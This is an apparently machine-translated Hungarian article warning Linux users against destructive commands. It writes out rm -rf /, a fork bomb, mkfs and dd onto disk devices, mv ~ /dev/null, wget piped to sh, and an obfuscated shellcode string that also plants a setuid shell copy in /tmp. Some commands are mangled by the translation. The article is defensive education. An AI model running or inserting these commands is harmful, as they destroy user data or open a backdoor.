A nem működő parancsok megtanulása segít megvédeni Önt a trolloktól, miközben megnöveli a Linux működésének megértését. Ez nem egy kimerítő útmutató, és az itt található parancsok sokféle módon felcserélhetők.
Ne feledje, hogy ezek közül a parancsok közül sok csak veszélyes lehet, ha előzetesen vannak sudo az Ubuntuban - másképp nem fognak működni. Más Linux disztribúciók esetében a legtöbb parancsot gyökérként kell futtatni.
rm -rf / - Törli mindent!
A parancs rm-rf / minden lehetséges módon törli, beleértve a merevlemezen lévő fájlokat és a csatlakoztatott cserélhető adathordozó eszközök fájljait. Ez a parancs érthetőbb, ha le van bontva:
rm – Remove the following files.
- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
A Linux boldogan engedelmeskedik ennek a parancsnak, és mindent töröl anélkül, hogy kéri, ezért legyen óvatos, ha használod! Az rm parancs más veszélyes módokon is használható - rm-rf ~ törli az otthoni mappában lévő összes fájlt, miközben rm-rf. * törölné az összes konfigurációs fájlt.
A lecke: Vigyázz rm-rf-re.
Álcázott rm -rf /
Itt van egy másik kódrészlet, amely az egész interneten található:
char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Ez az rm-rf / – ennek a parancsnak a végrehajtása törli a fájlokat, mintha rm -rf / parancsot futtatnál.
A lecke: Ne fusson olyan furcsa, nyilvánvalóan álcázott parancsokat, amelyeket nem ért.
: () {: |: &};: - Fork Bomb
A következő sor egyszerű, de veszélyes, bash funkció:
:(){:|: &};:
Ez a rövid vonal olyan shell függvényt határoz meg, amely önmagában új példányokat hoz létre. Az eljárás folyamatosan megismétli magát, és a másolatok folyamatosan reprodukálják magukat, gyorsan felveszi az összes CPU időt és memóriát. Ez a számítógép fagyását okozhatja. Alapvetően egy szolgáltatásmegtagadási támadás.
A lecke: A bash funkciók erőteljesek, még a nagyon rövidek is.
mkfs.ext4 / dev / sda1 - Formázza a merevlemezt
A mkfs.ext4 / dev / sda1parancs könnyen érthető:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Összefoglalva, ez a parancs egyenértékű a c formátummal: Windows rendszeren - törli az első partícióban lévő fájlokat, és új fájlrendszerrel helyettesíti őket.
Ez a parancs más formában is megjelenhet - mkfs.ext3 / dev / sdb2 formázza a második partíciót a második merevlemezen az ext3 fájlrendszerrel.
A lecke: Vigyázz a futó parancsokra közvetlenül a / dev / sd-vel kezdődő merevlemez-eszközökön.
command / dev / sda - közvetlenül merevlemezre ír
A parancs> / dev / sda a vonal hasonlóan működik - parancsot futtat és a parancs kimenetét közvetlenül az első merevlemezére küldi, az adatokat közvetlenül a merevlemez meghajtójába írja, és károsítja a fájlrendszert.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
A lecke: Mint fent, vigyázz a parancsfájlokra, amelyek a / dev / sd-vel kezdődő merevlemezes eszközöket tartalmazzák.
dd ha = / dev / véletlenszerűen = / dev / sda - írja le a merevlemezről a junkot
A dd ha = / dev / random = / dev / sda a vonal törli az adatokat egy merevlemezen.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
A lecke: dd adatokat másol egy helyről a másikra, ami veszélyes lehet, ha közvetlenül egy eszközt másol.
mv ~ / dev / null - Az otthoni címtárat egy fekete lyukra mozgatja
A / dev / null egy másik különleges hely - a / dev / null-hoz való mozgatás ugyanaz, mint a megsemmisítése. Gondolj a / dev / null fekete lyukra. Lényegében, mv ~ / dev / null minden személyes fájlt fekete lyukba küld.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
A lecke: A ~ karakter az otthoni mappát jelöli, és a / dev / null fájlok mozgatása elpusztítja őket.
wget https://example.com/ valami -O - | sh - Letöltések és parancsfájlok futtatása
A fenti sor letölti a parancsfájlt az internetről, és elküldi a sh-nak, amely végrehajtja a szkript tartalmát. Ez veszélyes lehet, ha nem tudja pontosan, hogy mi a szkript, vagy ha nem bízik a forrásban - ne futtasson megbízhatatlan szkripteket.
wget – Downloads a file. (You may also see curl in place of wget.)
https://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
A lecke: Ne töltsön le és futtasson megbízhatatlan parancsfájlokat az internetről, még akkor sem, ha parancsot ad.
Ismerje meg a veszélyes parancsokat, amelyeket az új (és tapasztalt) Linux felhasználóknak nem kellene futtatniuk? Hagy egy megjegyzést és ossza meg őket!